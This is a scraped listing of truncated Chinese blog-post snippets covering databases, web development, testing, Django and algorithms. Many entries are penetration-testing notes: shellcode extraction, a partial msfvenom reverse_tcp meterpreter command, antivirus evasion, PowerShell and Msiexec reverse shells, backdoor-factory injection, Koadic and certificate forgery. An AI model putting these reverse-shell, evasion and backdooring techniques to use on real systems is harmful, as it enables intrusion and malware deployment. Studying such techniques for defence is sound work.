如何合理使用数据库锁 一、前言死锁,在我们的项目中有发生过,但不频繁;但是因为锁处理的不好,不能合理地规划锁,导致性能下降是经常发生的。通过本文章,除了了解如何避免死锁外,更多的内容是如何使用锁。本文不会讲的很细,有的地方也不是很严谨,但是不影响对内容的理解。更细节和高级的知识,可以百度。二、什么是锁我们这里讲的锁,是数据库的锁(lock)。当数据库要对某个表,或者某条数据修改时,会首...
编码艺术-代码架构的思考 一、前言从入职到现在已有一年。想想现在与当初自己的期望虽有遗憾但也还是有所进步。我个人对自己的认知是敢于尝试与实践新的技术与新的理论,说大胆也不为过。因此工作中写的代码或多或少也被诟病、被批评、被质疑。但我觉得若人人都循规蹈矩、人人都不去尝试,那么谈何创新、谈何进步呢?终究是需要人去做那一颗划破静夜的流星。二、背景最近在对项目的SDK进行升级改造。考虑到要兼容之前用户的调用习...
找到树中指定id的所有父节点 const data = [{ id: 1, children: [{ id: 2, children: [{ id: 3, }, { id: 4, }], }],}, { id: 5, children: ...
Vue 利用指令实现禁止反复发送请求 前端做后台管控系统,在某些接口请求时间过长的场景下,需要防止用户反复发起请求。 假设某场景下用户点击查询按钮后,后端响应需要长时间才能返回数据。那么要规避用户返回点击查询按钮无外乎是让用户无法在合理时间内再次点击按钮。实现方式也有好几种: 1、在按钮点击发起请求后,弹个蒙层,显示个loading,等请求数据返回了将蒙层隐藏掉。 2、在按钮点击发起请求后,将按...
Hbuild在线云ios打包失败,提示BuildConfigure Failed 31013 App Store 图标 未找到 解决方法... 用 hbuild 打 IOS 包,打包失败,提示以下错误:manifest.plus.plugins.push.igexin;manifest.plus.plugins.oauth.weixin;BuildConfigure Failed 31013 App Store 图标 安装包制作目录/H550CE2F1/.manifest/source/icon_startPage/...
jmeter接口上传图片功能 图片上传需要选择Files Upload 输入下列参数:File Path:方法一,把图片放在bin目录下,直接输入图片名称;方法二,点击下图“Browse”按钮,选择一张需要上传的图片,地址将会自动记录到文件名称栏目;Parameter Name:输入file或者image;MIME Type:输入multipart/form-data;其他地方与常规接口的输入规则一致...
jmeter(1)添加header和cookie 1、给线程组添加信息头管理,路径:添加--配置元件--HTTP信息头管理器2.添加cookie转载于:https://www.cnblogs.com/ruguokeyi/p/11533956.html
接口自动化之数据依赖 接口自动化之数据依赖一、按照场景造case,从数据的产生开始,比如房源录入--房源详情页--房源跟进录入--跟进二级页。。。二、从数据库查询需要的测试数据二、接口自动化测试环境隔离三、不同服务不同业务接口依赖时,需要调用别人的接口case。四、接口断言五、测试完成后,删掉新增的数据问题:有的业务有单独的自动化环境,我们的自动化环境与他们的环境不同,调...
http和https的区别 http和https的区别https://baijiahao.baidu.com/s?id=1629455363537331894&wfr=spider&for=pc转载于:https://www.cnblogs.com/ruguokeyi/p/11377202.html
像房源上下架链路比较长的需求怎么测试?测试的重点和难点? 像房源上下架链路比较长的需求怎么测试?测试的重点和难点?转载于:https://www.cnblogs.com/ruguokeyi/p/11353683.html
每天有80亿的文件需要存储,你会怎么设计存储和检索? 每天有80亿的文件需要存储,你会怎么设计存储和检索?转载于:https://www.cnblogs.com/ruguokeyi/p/11353591.html
数据库之索引 索引的好处:可以增加检索速度创建索引的缺点:建立索引会增加磁盘空间,同时对于更新表的操作(增加、删除、更新)会降低速度。转载于:https://www.cnblogs.com/ruguokeyi/p/11353583.html...
java之高并发锁 https://www.cnblogs.com/NathanYang/p/9954108.html对于同一房源 同时下单,怎么实现锁房转载于:https://www.cnblogs.com/ruguokeyi/p/11353564.html
shell基本语法 1、mkdir -p "${project}-static/" 使用-p可以一次创建多级目录2、cp -R -f client/dist/client/* "${project}-static/" 目录递归拷贝:-R表示递归拷贝 -f 表示直接拷贝不需要询问表示将client/dist/client/*目录下的都拷贝到"${project}-static/"目录下...
RPC和HTTP RPC主要用于公司内部的服务调用,性能消耗低,传输效率高,服务治理方便。HTTP主要用于对外的异构环境,浏览器接口调用,APP接口调用,第三方接口调用等。转载于:https://www.cnblogs.com/ruguokeyi/p/11353415.html...
驱动通信:驱动与应用的通信(3) 驱动程序与应用程序的通信离不开派遣函数,派遣函数是Windows驱动编程中的重要概念,一般情况下驱动程序负责处理I/O特权请求,而大部分IO的处理请求是在派遣函数中处理的,当用户请求数据时,操作系统会提前处理好请求,并将其派遣到指定的内核函数中执行,接下来将详细说明派遣函数的使用并通过派遣函数读取Shadow SSDT中的内容。先来简单介绍一下 IRP(I/O Request Pack...
驱动保护:挂接SSDT内核钩子(1) SSDT 中文名称为系统服务描述符表,该表的作用是将Ring3应用层与Ring0内核层,两者的API函数连接起来,起到承上启下的作用,SSDT并不仅仅只包含一个庞大的地址索引表,它还包含着一些其它有用的信息,诸如地址索引的基址、服务函数个数等,SSDT 通过修改此表的函数地址可以对常用 Windows 函数进行内核级的Hook,从而实现对一些核心的系统动作进行过滤、监控的目的,接下来将演...
驱动还原:恢复SSDT内核钩子(2) SSDT 中文名称为系统服务描述符表,该表的作用是将Ring3应用层与Ring0内核层,两者的API函数连接起来,起到承上启下的作用,SSDT并不仅仅只包含一个庞大的地址索引表,它还包含着一些其它有用的信息,诸如地址索引的基址、服务函数个数等,SSDT 通过修改此表的函数地址可以对常用 Windows 函数进行内核级的Hook,从而实现对一些核心的系统动作进行过滤、监控的目的。通过前面...
WinRAR 去广告的姿势 一直在使用WinRAR解压文件,感觉非常的好用,可是现在WinRAR添加了广告,每次打开压缩包都会弹出广告,有时候甚至在解压的时候弹出来,而每次弹出广告都会卡顿一下,忍了很长时间今天实在是受够了,准备尝试去广告,故把过程记录下来,这里我使用的是最新版 5.71.免责声明:该教程仅用于技术交流,并无任何商业目的,您不得将下述内容用于商业或者非法用途,否则后果自负,如果您喜欢该程序,请支持...
WinDBG 配置内核双机调试 WinDBG 是在 windows 平台下,强大的用户态和内核态调试工具,相比较于 Visual Studio 它是一个轻量级的调试工具,所谓轻量级指的是它的安装文件大小较小,但是其调试功能,却比VS更为强大,WinDBG由于是微软的产品所以能够调试Windows系统的内核,另外一个用途是可以用来分析dump数据,本笔记用于记录WinDBG内核调试的配置过程,并附有常用命令的使用方法。...
Windows 32位-调试与反调试 1.加载调试符号链接文件并放入d:/symbols目录下.0:000> .sympath srv*d:\symbols*http://msdl.microsoft.com/download/symbolsSymbol search path is: srv*d:\symbols*http://msdl.microsoft.com/download/symbolsExpande...
VS2013+WDK8.1 驱动开发环境配置 Windows Driver Kit 是一种完全集成的驱动程序开发系统,它包含Windows Driver Device Kit (DDK),用于测试 Windows 驱动器的可靠性和稳定性,本次实验使用的是WDK8.1 其支持 Windows 7, Windows 8,Windows 10等系统的驱动开发。WDK环境的搭建研究了很长时间今天总算搭建出来了,而且编译的驱动文件能够被内核...
远程缓冲区溢出分析 缓冲区溢出攻击很容易被攻击者利用,因为C/C++语言并没有自动检测缓冲区溢出操作,同时程序编写人员在编写代码时也很难始终检查缓冲区是否可能溢出.利用溢出,攻击者可以将期望数据写入漏洞程序内存中的任意位置,甚至包括控制程序执行流的关键数据(比如函数调用后的返回地址),从而控制程序的执行过程并实施恶意行为.该笔记用于帮助读者理解远程缓冲区溢出的挖掘,以及编写漏洞利用程序片段,下面在进行实验...
Linux 系统下提取 ShellCode 未完待续1.使用C语言编写一个获得系统Shell的小程序。#include <unistd.h>int main(){ char * shell[2]; shell[0]="/bin/sh"; shell[1]=NULL; execve(shell[0],shell,NULL);}编译并运行后,能够回弹Shell[root@lo...
C++反汇编: 基础知识(7) 反汇编(Disassembly),即把目标二进制机器码转为汇编代码的过程,该技术常用于软件破解、外挂技术、病毒分析、逆向工程、软件汉化等领域,学习和理解反汇编语言对软件调试、漏洞分析、内核原理及理解高级语言代码都有相当大的帮助,软件一切神秘的运行机制全在反汇编代码里面,该笔记整理了C++反汇编的一些常识.变量与常量数值类型变量: 整数,浮点数,等类型其反汇编结果基本相同.int ...
编写并提取简易 ShellCode ShellCode 通常是指一个原始的可执行代码的有效载荷,ShellCode 这个名字来源于攻击者通常会使用这段代码来获得被攻陷系统上的交互 Shell 的访问权限,而现在通常用于描述一段自包含的独立的可执行代码片段。ShellCode 通常会与漏洞利用并肩使用,或是被恶意代码用于执行进程代码的注入,漏洞利用等,通常情况下 ShellCode 代码无法独立运行,必须依赖于父进程或是 ...
网络安全思维导图收藏 各种安全相关思维导图整理收集,鼠标点击如下内容即可浏览全部内容!转载自 (感谢原创收集): https://github.com/phith0n运维安全渗透的艺术渗透测试浏览器安全思维导图情报收集脑图密码找回逻辑漏洞安全运维脑图企业安全防御思维导图代码审计的溢出脑图业务安全top10xss virus 1.0XSS1 脑图XSS2 脑图XML安全汇总Web...
Docker 容器学习笔记 Docker 诞生于2013年,最初发起者是dotCloud公司.Docker自开源后受到广泛的关注和讨论,目前已有多个相关项目逐渐形成了围绕Docker容器的生态体系,由于Docker在业界造成的影响力实在太大,dotCloud公司后来也直接改名为Docker Inc,并专注于Docker相关技术和产品的开发.Docker是基于Go语言实现的开源容器项目,Docker让开发者可以打包...
缓冲区溢出与攻防博弈 在黑客圈子中,基于内存攻击技术的攻击手段在随着时代的变化而不断发展着,内存攻击是指通过利用软件的安全漏洞,构造恶意的输入,从而使正常程序造成拒绝服务或者是远程获得控制权,内存攻击技术中最先登上历史舞台的就是缓冲区溢出漏洞,时至今日能够被广泛利用的 60% 以上的高危漏洞(CVE)都属于缓冲区溢出,接下来我将总结缓冲区溢出的相关知识点。缓冲区溢出: 缓冲区溢出(Buffer Overf...
针对Web的信息搜集 信息收集(Information Gathering),信息收集是指通过各种方式获取所需要的信息,在整个渗透测试环节中,信息搜集是整个渗透过程中最为重要的一环,信息搜集可占据整个渗透测试80%左右的工作量,同样的如果尽可能搜集更多的信息,对于后期的渗透工作是非常有帮助的,本章将针对Web网站进行信息的搜集工作,以作为学习笔记收录。常规信息搜集Whois查询: 使用该命令来查询域名的注...
编写并提取通用 ShellCode 简易 ShellCode 虽然可以正常被执行,但是还存在很多的问题,因为上次所编写的 ShellCode 采用了硬编址的方式来调用相应API函数的,那么就会存在一个很大的缺陷,如果操作系统的版本不统一就会存在调用函数失败甚至是软件卡死的现象,下面我们通过编写一些定位程序,让 ShellCode 能够动态定位我们所需要的API函数地址,从而解决上节课中 ShellCode 的通用性问题。...
PowerShell 反弹渗透技巧 Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能,并且与现有的WSH保持向后兼容,因此它的脚本程序不仅能访问.NET CLR,也能使用现有的COM技术,同时也包含了数种系统管理工具、简易且一致的语法,提升管理者的管理能力,自Windows 7 开始一直到Windows 10 包括服务器Windo...
Linux 系统的安全加固 Linux是一套免费使用和自由传播的类Unix操作系统,作为一个开放源代码的操作系统,Linux服务器以其安全、高效和稳定的显著优势而得以广泛应用,但如果不做好权限的合理分配,Linux系统的安全性还是会得不到更好的保障,下面我们将主要使用RHEL7系统,分别从账户安全、登录控制,SeLinux配置等,优化Linux系统的安全性。早在1985年,美国国防部就已经提出了可信计算机系统评测...
Ansible 自动化工具入门 Ansible 是新出现的自动化运维工具,基于Python开发,集合了众多运维工具(puppet、cfengine、chef、func、fabric)的优点,实现了批量系统配置、批量程序部署、批量运行命令等功能,ansible是基于模块工作的,本身没有批量部署的能力,真正具有批量部署的是ansible所运行的模块,ansible只是提供一种框架.Ansible 配置Ansible ...
针对内网的信息搜集 信息收集(Information Gathering),信息收集是指通过各种方式获取所需要的信息,在整个渗透测试环节中,信息搜集是整个渗透过程中最为重要的一环,信息搜集可占据整个渗透测试80%左右的工作量,同样的如果尽可能搜集更多的信息,对于后期的渗透工作是非常有帮助的,本章将针对内网(域)环境进行信息的搜集工作,以作为学习笔记收录。收集本机信息ipconfig: 获取本地主机的IP...
基于白名单的Payload 利用 Msiexec 命令DLL反弹Msiexec是Windows Installer的一部分。用于安装Windows Installer安装包(MSI),一般在运行Microsoft Update安装更新或安装部分软件的时候出现,占用内存比较大。并且集成于Windows 7,Windows 10等,在Windows 10系统中无需配置环境变量就能直接被调用,非常的方便。1.首先生成...
社工工具包 SEToolkit 社会工程学(Social Engineering)简称社工,其通过分析攻击对象的心理弱点,利用人性的本能反应,以及任何好奇心,贪婪等心理特征进行的,使用诸如假冒,欺骗,引诱等多种手段来达成攻击目标的一种手段,社会工程学的应用领域非常之广泛,而很多黑客也会将社工运用到渗透的方方面面,社工也被称为没有技术,却比技术更强大的渗透方式,正所谓 “攻城为下,攻心为上” 这句话用在社工上面是最恰当不...
Kali Linux安装AWVS漏扫工具 Acunetix是全球排名前三的漏洞发现厂商,其全称(Acunetix Web Vulnerability Scanner)AWVS是业内领先的网络漏洞扫描器,其被广泛赞誉为包括最先进的SQL注入和XSS黑盒扫描技术。它能够自动爬行网站,并执行黑盒和灰盒测试技术,能够发现危险的漏洞。AWVS能够针对SQL注入、XSS、XXE、SSRF、主机头注入以及4500多个其他web漏洞执行精确的测...
ShellCode 最小化编译优化 1.生成ShellCode[root@localhost ~]# msfvenom -a x86 --platform Windows \> -p windows/meterpreter/reverse_tcp \> -b '\x00\x0b' LHOST...
Payload 实现分离免杀 众所周知,目前的杀毒软件的杀毒原理主要有三种方式,一种基于特征,一种基于行为,一种基于云查杀,其中云查杀的一些特点基本上也可以概括为特征码查杀,不管是哪一种杀毒软件,都会检查PE文件头,尤其是当后门程序越大时,越容易被查杀。通过C语言编译后门1.首先使用msfvenom命令生成一句简短的shellcode,这里指定连接地址为IP=192.168.1.7,PORT=8888,当执行sh...
Windows 证书签名的伪造 Windows 系统中的一些非常重要文件通常会被添加数字签名,其目的是用来防止被篡改,能确保用户通过互联网下载时能确信此代码没有被非法篡改和来源可信,从而保护了代码的完整性、保护了用户不会被病毒、恶意代码和间谍软件所侵害,而一些杀毒软件也是通过检测程序中的证书来实现查杀判定的,本章将演示证书的签发与伪造。证书制作工具下载:git clone https://github.com/3gs...
XSS跨站攻击靶场-通关笔记 XSS攻击是Web攻击中最常见的攻击手法之一,XSS中文名跨站脚本攻击,该攻击是指攻击者在网页中嵌入恶意的客户端脚本,通常是使用JS编写的恶意代码,当正常用户访问被嵌入代码的页面时,恶意代码将会在用户的浏览器上执行,所以XSS攻击主要时针对客户端的攻击手法。当下常见的 XSS 攻击有三种:反射型、DOM型、存储型。 其中反射型、DOM型可以归类为非持久型 XSS 攻击,存储型归类为持久...
渗透测试的本质与沉思 渗透测试的本质目标资产信息搜集的广度,决定渗透过程的复杂程度。目标主机信息搜集的深度,决定后渗透权限持续把控。渗透的本质是信息搜集,而信息搜集整理为后续的情报跟进提供了强大的保证。持续渗透的本质是线索关联,而线索关联为后续的攻击链方提供了强大的方向。后渗透的本质是权限把控,而权限把控为后渗透提供了以牺牲时间换取空间强大基础。只要是“一群人设置的密码”,一定有大的规律,只要是“...
Python 常用外部模块详解(12) Python 的创始人为吉多·范罗苏姆(Guido van Rossum).1989年的圣诞节期间,吉多·范罗苏姆为了在阿姆斯特丹打发时间,决心开发一个新的脚本解释程序,作为ABC语言的一种继承.Python是纯粹的自由软件,源代码和解释器CPython遵循 GPL(GNU General Public License)协议.关于python的哲学:python崇尚:"优雅"、"明确"、...
BurpSuite 爆破网页后台登陆 由于 Burp Suite是由Java语言编写而成,所以你需要首先安装JAVA的运行环境,而Java自身的跨平台性,使得软件几乎可以在任何平台上使用。Burp Suite不像其他的自动化测试工具,它需要你手工的去配置一些参数,触发一些自动化流程,然后它才会开始工作,接下来我们将手动配置好代理,然后暴力破解一个网页的账号密码,本篇内容的实用性不强,因为现在的页面大多数有验证码或采用Toke...
Web文件上传靶场 - 通关笔记 Web应用程序通常会提供一些上传功能,比如上传头像,图片资源等,只要与资源传输有关的地方就可能存在上传漏洞,上传漏洞归根结底是程序员在对用户文件上传时控制不足或者是处理的缺陷导致的,文件上传漏洞在渗透测试中用的比较多,因为它是获取服务器WebShell最快最直接的攻击手法,其实文件上传本身并没有问题,有问题的是文件上传时程序员是如何对其进行合法化过滤的,如果程序员的处理逻辑做的不够安全,...
审计一套CMS中的SQL注入 漏洞分为系统漏洞和应用漏洞,系统漏洞以二进制漏洞为代表,其挖掘难度较高需要对反汇编和操作系统原理深入理解,而除了系统漏洞以外还有一些应用漏洞,包括不限MySQL,Apache,为代表的Web漏洞,这里我们就挖掘PHP代码层面的漏洞。漏洞的挖掘也分为,点对点挖掘漏洞,和分散式挖掘漏洞,这我们主要使用点对点挖掘,在挖掘是我们需要找一些关键字,漏洞本身就是两个条件,可控的函数,和可控的变量...
Python Socket套接字编程(11) Python 的创始人为吉多·范罗苏姆(Guido van Rossum).1989年的圣诞节期间,吉多·范罗苏姆为了在阿姆斯特丹打发时间,决心开发一个新的脚本解释程序,作为ABC语言的一种继承.Python是纯粹的自由软件,源代码和解释器CPython遵循 GPL(GNU General Public License)协议.关于python的哲学:python崇尚:"优雅"、"明确"、...
有趣的后渗透工具 Koadic koadic是DEFCON黑客大会上分享出来的的一个后渗透工具,虽然和msf有些相似,但是Koadic主要是通过使用Windows ScriptHost(也称为JScript / VBScript)进行大部分的操作,其核心兼容性支持WindowsXP到Window 10的环境中使用,Koadic的相比于其他的后门程序来说更轻便,该工具通过调用系统的一些命令来完成Shell的反弹工作,因为...
Python 线程&进程与协程(10) Python 的创始人为吉多·范罗苏姆(Guido van Rossum).1989年的圣诞节期间,吉多·范罗苏姆为了在阿姆斯特丹打发时间,决心开发一个新的脚本解释程序,作为ABC语言的一种继承.Python是纯粹的自由软件,源代码和解释器CPython遵循 GPL(GNU General Public License)协议.关于python的哲学:python崇尚:"优雅"、"明确"、...
Python 面向对象编程详解(8) Python 的创始人为吉多·范罗苏姆(Guido van Rossum).1989年的圣诞节期间,吉多·范罗苏姆为了在阿姆斯特丹打发时间,决心开发一个新的脚本解释程序,作为ABC语言的一种继承.Python是纯粹的自由软件,源代码和解释器CPython遵循 GPL(GNU General Public License)协议.关于python的哲学:python崇尚:"优雅"、"明确"、...
Python 异常处理与反射机制(9) Python 的创始人为吉多·范罗苏姆(Guido van Rossum).1989年的圣诞节期间,吉多·范罗苏姆为了在阿姆斯特丹打发时间,决心开发一个新的脚本解释程序,作为ABC语言的一种继承.Python是纯粹的自由软件,源代码和解释器CPython遵循 GPL(GNU General Public License)协议.关于python的哲学:python崇尚:"优雅"、"明确"、...
Python 正则表达模块详解(7) Python 的创始人为吉多·范罗苏姆(Guido van Rossum).1989年的圣诞节期间,吉多·范罗苏姆为了在阿姆斯特丹打发时间,决心开发一个新的脚本解释程序,作为ABC语言的一种继承.Python是纯粹的自由软件,源代码和解释器CPython遵循 GPL(GNU General Public License)协议.关于python的哲学:python崇尚:"优雅"、"明确"、...
WMIC命令的利用技巧 WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具),提供了从命令行接口和批命令脚本执行系统管理的支持。在WMIC出现之前,如果要管理WMI系统,必须使用一些专门的WMI应用,例如SMS,或者使用WMI的脚本编程API,或者使用象CIM Studio之类的工具。如果不熟悉C++之类的编程语言或VBScript之类的脚本语言,或...
使用 backdoor 工具注入ShellCode backdoor-factory 顾名思义,直接翻译过来就是后门工厂的意思。其利用打补丁的方式编码加密PE文件,可以轻松的生成win32PE后门程序,从而帮助我们绕过一些防病毒软件的查杀,达到一定得免杀效果,利用该工具,攻击者可以在不破坏原有可执行文件的功能的前提下,在文件的代码裂隙中插入恶意代码Shellcode。当可执行文件被执行后,就可以触发恶意代码。Backdoor Factor...
Python 常用内置模块详解(6) Python 的创始人为吉多·范罗苏姆(Guido van Rossum).1989年的圣诞节期间,吉多·范罗苏姆为了在阿姆斯特丹打发时间,决心开发一个新的脚本解释程序,作为ABC语言的一种继承.Python是纯粹的自由软件,源代码和解释器CPython遵循 GPL(GNU General Public License)协议.关于python的哲学:python崇尚:"优雅"、"明确"、...
动态加载 ShellCode绕过杀软 反病毒解决方案用于检测恶意文件,并且通常使用静态分析技术来区分二进制文件的好坏。如果是恶意文件本身包含恶意内容(ShellCode),那么依靠静态分析技术会非常有效,但如果攻击者使用轻量级的stager来代替下载并将代码加载到内存中,会发生什么?事实证明这样做可以绕过大多数杀软的查杀。虽然这种绕过方法并不是新鲜技术,但绕过反病毒软件对于大多数后门来说都是必要的,在这篇文章中,我们将使用...
本地缓冲区溢出分析 栈溢出是缓冲区溢出中最为常见的一种攻击手法,其原理是,程序在运行时栈地址是由操作系统来负责维护的,在我们调用函数时,程序会将当前函数的下一条指令的地址压入栈中,而函数执行完毕后,则会通过ret指令从栈地址中弹出压入的返回地址,并将返回地址重新装载到EIP指令指针寄存器中,从而继续运行,然而将这种控制程序执行流程的地址保存到栈中,必然会给栈溢出攻击带来可行性。前面的笔记《缓冲区溢出与攻防...
DVWA漏洞演练平台 - 文件上传 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。中国蚁剑的使用本来想使用中国菜刀来演示WebShell的使用的,但中国菜刀太老了且不开源,还爆出过各种后门,所以笔者比较有阴影,这里我就...
93. Restore IP Addresses 93. Restore IP Addresses0. 参考文献序号文献1[LeetCode] Restore IP Addresses 复原IP地址2【LeetCode】93. Restore IP Addresses 解题报告(Python & C++)1. 题目Given a string containing only digits...
mysql复制那点事(2)-binlog组提交源码分析和实现 目录 mysql复制那点事(2)-binlog组提交源码分析和实现 0. 参考文献 1. innodb和binlog的两阶段提交 2. 组提交原理 3. 组提交实现 3.1 order_commit 3.2 change_stage和enr...
49. Group Anagrams 49. Group Anagrams0. 参考文献序号文献1[LeetCode] Group Anagrams 群组错位词Given an array of strings, group anagrams together.Example:Input: ["eat", "tea", "tan", "ate", "nat", "bat"],Output...
矢量瓦片地图服务发布后坐标系发生变化 发布矢量瓦片地图有两种方式:通过ArcGISPro发布矢量瓦片(工具栏:Share->Publish Web Layer);先制作.vtpk瓦片离线地图包,再通过ArcGISEnterprise上传发布服务。 通过第二种方式发布服务后坐标系直接变成了投影坐标系。其中Tile不能为中文名,虽然很多时候服务发布是正常的,但偶尔会遇到服务发布后坐标系更改的情况...
五十一、form组件,钩子函数,cookie,session, django form 组件 注册功能 1.渲染前端标签获取用户输入 》》》》》》 渲染标签 2.获取用户输入船体到后端校验 》》》》》》 校验数据 3.校验未通过展示错误信息 》》》》》》》》 展示信息校验数据(前后端都可以) 校验前端后端都可以做,但是前端可以不做,后端必须做django form组件的三大功能 1.渲染标签 2...
五十、Ajax传送数据,序列化组件,sweetalert搭建页面,自定义分页器 MTV与MVC模型 django框架 自称为是MTV框架 M:models T:templates V:views MVC M:models V:views C:controller 控制器(urls) 本质:MTV其实也是MVCAjax 异步提交 局部刷新 请求方式 GET POST a标签h...
五十二、django 中间件,csrf跨站请求伪造,auth模块表 django 中间件 django中间件事类似django的保安,请求的时候需要先经过中间件才能到达django后端(urls,views,templates,models), 响应走的时候也需要经过中间件才能到达web服务网关接口django中间件中有五个用户可以自定义的方法 django中间件可以用来做什么? 1.网站全局的身份校验...
四十九、django单表操作,多表操作,一对多,多对多,分组查询,聚合查询,F、Q查询,自定义char字段,事务,only与defer ,choices字段... 单表操作: - 增删改查# 增# 方式1: create# book_obj = models.Book.objects.create(title='三国',price=19.99,create_time='2019-11-11')# print(book_obj.title)# 方式2:对象点save()方法# from datetime impor...
四十八、模板层,标签,过滤器,继承和导入 Django模板系统官方文档常用语法只需要记两种特殊符号:{{ }}和{% %}变量相关的用{{}},逻辑相关的用{%%}。后端朝前端页面传递数据的方式: n = 666 1.第一种 return render(request, "index.html", {"n": n}) 2.第二种: ret...
四十七、django路由匹配,分组,反向解析,路由分发,视图层 路由匹配: urlpatterns = [ url(r'^admin/', admin.site.urls), url(r'^text', views.text), url(r'^testadd', views.testadd), ] 第一个参数是一个正则表达式,也就意味着在路由的匹配的时候,是按照...
四十六、django配置及增删改查 路由访问: 如果不加斜杠 会内部自动加上,如果加上还没有会报错(内部会自动重定向)静态文件配置:所有的静态文件(css,js,前端第三方类库)默认都放在static文件夹下STATIC_URL = '/static/' # static 接口前缀 跟你静态文件夹的名字一点关系都没有 # 静态文件配置 STATICFILES_DIRS = [...
四十五、初识Django 什么是web应用?软件开发架构 c/s架构 客户端 服务端 b/s架构 浏览器 服务器 本质:b/s架构其实也是c/s架构HTTP协议 超文本传输协议:规定了客户端与服务端消息传输的格式 四大特性: 1.基于TCP/IP协议作用于应用层的协议 2.基于请求响应 3.无状态 4.无连接 ...
四十四、前端之JQuery jQuery介绍jQuery是一个轻量级的、兼容多浏览器的JavaScript库。jQuery使用户能够更方便地处理HTML Document、Events、实现动画效果、方便地进行Ajax交互,能够极大地简化JavaScript编程。它的宗旨就是:“Write less, do more.“jQuery的优势一款轻量级的JS框架。jQuery核心js文...
四十二、前端基础之JavaScript JavaScript概述ECMAScript和JavaScript的关系1996年11月,JavaScript的创造者--Netscape公司,决定将JavaScript提交给国际标准化组织ECMA,希望这门语言能够成为国际标准。次年,ECMA发布262号标准文件(ECMA-262)的第一版,规定了浏览器脚本语言的标准,并将这种语言称为ECMAScript,这个版本就是1.0版。...
四十三、前端基础之BOM和DOM BOM(Browser Object Model)是指浏览器对象模型,它使 JavaScript 有能力与浏览器进行“对话”。DOM (Document Object Model)是指文档对象模型,通过它,可以访问HTML文档的所有元素。window对象所有浏览器都支持window对象。它表示浏览器窗口。*如果文档包含框架(frame 或 iframe 标签),浏览器...
四十一、前端基础之CSS相关属性 CSS属性相关宽和高width属性可以为元素设置宽度。height属性可以为元素设置高度。块级标签才能设置宽度,内联标签的宽度由内容来决定。 <style> div { height: 50px; width: 100px; } /*给行内标签设置...
四十、前端基础之CSS 一、CSS介绍现在的互联网前端分三层:HTML:超文本标记语言。从语义的角度描述页面结构。CSS:层叠样式表。从审美的角度负责页面样式。JS:JavaScript 。从交互的角度描述页面行为CSS:Cascading Style Sheet,层叠样式表。CSS的作用就是给HTML页面标签添加各种样式,定义网页的显示效果。简单一句话:CSS将网页内容和...
三十八、事务、mysql索引,视图 视图 视图就是通过得到一张虚拟表,然后保存下来,下次直接使用即可 视图应用:当反复用到两张表的连接操作时,可以保存下来,下次使用 如何使用: create view teacher2course as select * from teacher inner join course on teacher.id =...
三十七、python操作mysql,和navicat 一、多表操作练习 题材:/* 数据导入: Navicat Premium Data Transfer Source Server : localhost Source Server Type : MySQL Source Server Version : 50624 Source Host : loc...
三十六、单表与多表查询 单表查询: create table emp( id int not null unique auto_increment, name varchar(20) not null, sex enum('male','female') not null default 'male', #大部分是男的 age int(3) unsigned not null...
三十五、表与表之间的关系 将所有数据都放在一张表内产生的弊端 1.表的组织结构不清晰2.浪费存储空间3.可扩展性极差(修改某个部门信息 ) 多对一:如何查找表与表之间的关系 以站在员工表为例: 多个员工能否属于一个部门 可以 以站在部门表为例: 多个部门能否有同一个员工 不可以 只有站在两边...
三十三、初识数据库及简单命令 一、数据库概念 1.随意的存到了一个文件中 数据格式也是千差万别的 2.软件开发目录规范 规定了数据存放的位置 ps:数据都是保存在本地的 3.将保存数据的部分 存到一个公共的地方 所有的用户涉及到数据相关 都必须来这个公共地方查二、数据库之mysql 本质就是一款基于网络通信的应用软件 任何基于网络通信的软件 底层都是socket 服务...
三十四、字段类型 字段类型: 整型 浮点型 字符类型 日期类型 枚举与集合类型约束条件 primary key unique not null default存储引擎 不同的数据应该有不同的处理机制 mysql存储引擎 Innodb:默认的存储引擎 查询速度较myisam慢 但是更安全 ...
js 获取滚动位置,滚动到指定位置,平滑滚动 1、获取当前滚动条位置信息var top = dom.scrollTop; // 获取y轴上的滚动位置var left = dom.scrollLeft; // 获取x轴上的滚动位置2、滚动到指定位置dom.scrollTop = 150; // 滚动到y轴上(竖直方向)的150位置dom.scrollLeft = 150; // 获取x轴上(水平方向)的...
UVA 11107 Life Forms 后缀自动机把每个串用不同的没有出现过字符连接起来,这样保证不会被一个串的结尾和另一个串的开头当成一个后缀。。然后二分串的长度,对height分组,找height大于mid的最长公共前缀,且在一组内出现在一半的字符串时就返回true。#include <bits/stdc++.h>#define INF 0x3f3f3f3f#define full(a, b) mem...
洛谷P3332 K大数查询 整体二分模板题如果没有修改的询问区间第k小or大,一般把原始值看成赋值操作,这样可以把询问和赋值同时二分,正确性显然。如果是单点修改,同样可以用树状数组赋值,修改一个数看-1再+1,因为每次增加和修改是成对出现的且二分不改变询问和修改的顺序,所以显然二分也是正确的。区间插入的话,和普通的整体二分差不多,改成线段树维护区间小于mid的数的个数,把增加一个数看成是线段树上区间的加+1。...
牛客 CSL的密码 后缀数组求本质不同的子串,转换为求本质不同的后缀的前缀,每个后缀贡献的前缀数量减去与上一个重复的前缀即为答案。#include <bits/stdc++.h>#define INF 0x3f3f3f3f#define full(a, b) memset(a, b, sizeof a)#define __fastIn ios::sync_with_stdio(fals...
HDU3518 Boring counting 后缀数组要求统计出现两次以上不重叠的子串,其实就是统计出现两次以上不重叠的后缀的前缀,不难想到height数组。相邻的后缀只有包含和被包含关系,或者不在同一块内,重复出现的前缀肯定在这块的height里,所以我们统计连续块内最小和最大的sa相减判断是否满足条件即可。#include <bits/stdc++.h>#define INF 0x3f3f3f3f#defi...
2019 Multi-University Training Contest 6 - Nonsense Time 暴力LIS反着做比较好写,把解冻看成冻住,每次看冻住的位置是不是当前LIS中的位置,如果不是就直接删除,如果是,就暴力重新计算一次LIS#include <bits/stdc++.h>#define INF 0x3f3f3f3f#define full(a, b) memset(a, b, sizeof a)#define __fastIn ios::sync_wi...
BZOJ 1176 Mokia CDQ分治求矩形面积可以看成类似二位前缀和的加减这样就可以把题目看成x,y,t的三维偏序问题,直接上CDQ分治。这里不用去重,但是我们在排序的时候一定要把三个维度相同的询问放在修改后面,因为CDQ每次分治都是计算左边对右边的贡献。#include <bits/stdc++.h>#define INF 0x3f3f3f3f#define full(a, b) mem...
